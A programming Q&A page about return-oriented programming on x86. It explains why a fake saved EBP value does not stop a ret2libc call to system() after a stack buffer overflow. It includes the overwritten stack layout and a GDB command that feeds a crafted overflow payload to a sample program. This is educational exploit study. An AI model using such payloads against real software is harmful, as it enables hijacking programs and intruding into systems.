Search code examples
cx86exploit

Return oriented programming with arguments using arbitrary EBP


I've been reading this article about "Return oriented programming" and I have a question about the part with "Calling arguments"

What I understand is that we need to have a stack in correct format. Arguments and then return address we don't care about. They set up the stack this way:

| 0x8048580 <not_used>             |
| 0x43434343 <fake return address> |
| 0x8048360 <address of system>    |
| 0x42424242 <fake old %ebp>       |
| 0x41414141 ...                   |
|   ... (0x6c bytes of 'A's)       |
|   ... 0x41414141                 |

Where address 0x8048360 is address we'll jump to after the corrupted function finishes and address 0x8048580 is an argument.

What I don't understand is how can we have a fake EBP address. My understanding was that the EBP address on stack is popped before returning from the function and then the EBP is used to access arguments and local variables. If we put fake address on the stack, wouldn't the system function use this fake EBP address to access it's argument without success?


Solution

  • wouldn't the "system" function use this fake EBP address to access it's argument without success? If we put fake address on the stack, wouldn't the "system" function use this fake EBP address to access it's argument without success?

    No. That would happen if you overwrite EBP and then really return from the function to the caller. Since you are also overwriting the return address, you never actually return to the caller, and you enter system instead. What will happen when returning into system will be:

    0x0804847a <+22>: ...    ; Here %ebp is still valid.
    0x0804847f <+27>: leave  ; Same as: mov %ebp, %esp; pop %ebp
    0x08048480 <+28>: ret    ;          %ebp becomes invalid, but %esp is still valid.
                       |   
                       v
    0x08048360 <+0>:  push   %ebp       ; Push the invalid value.
    0x08048361 <+1>:  mov    %esp,%ebp  ; Move %esp (valid) into %ebp ==> %ebp is now valid again.
    

    That's why the article you reference says "fake EBP", because you don't really care about the value. As long as your function does not really return to the caller, you're fine and your ROP chain will continue without a problem because every function you jump into will have a prologue just like the one above.

    You can test this by starting your program under GDB like this:

    $ gdb ./program
    
    (gdb) break *0x08048480     # address of the 'ret' instruction
    (gdb) run <<< "$(python -c 'print "A"*0x6c + "BBBB" + "\x60\x83\x04\x08" + "CCCC" + "\x80\x85\x04\x08"')"
    

    Then, when you hit the breakpoint, look where you are with the disassemble $eip command and then proceed with si (step single instruction) and use info registers to look at the values of the registers after each instruction.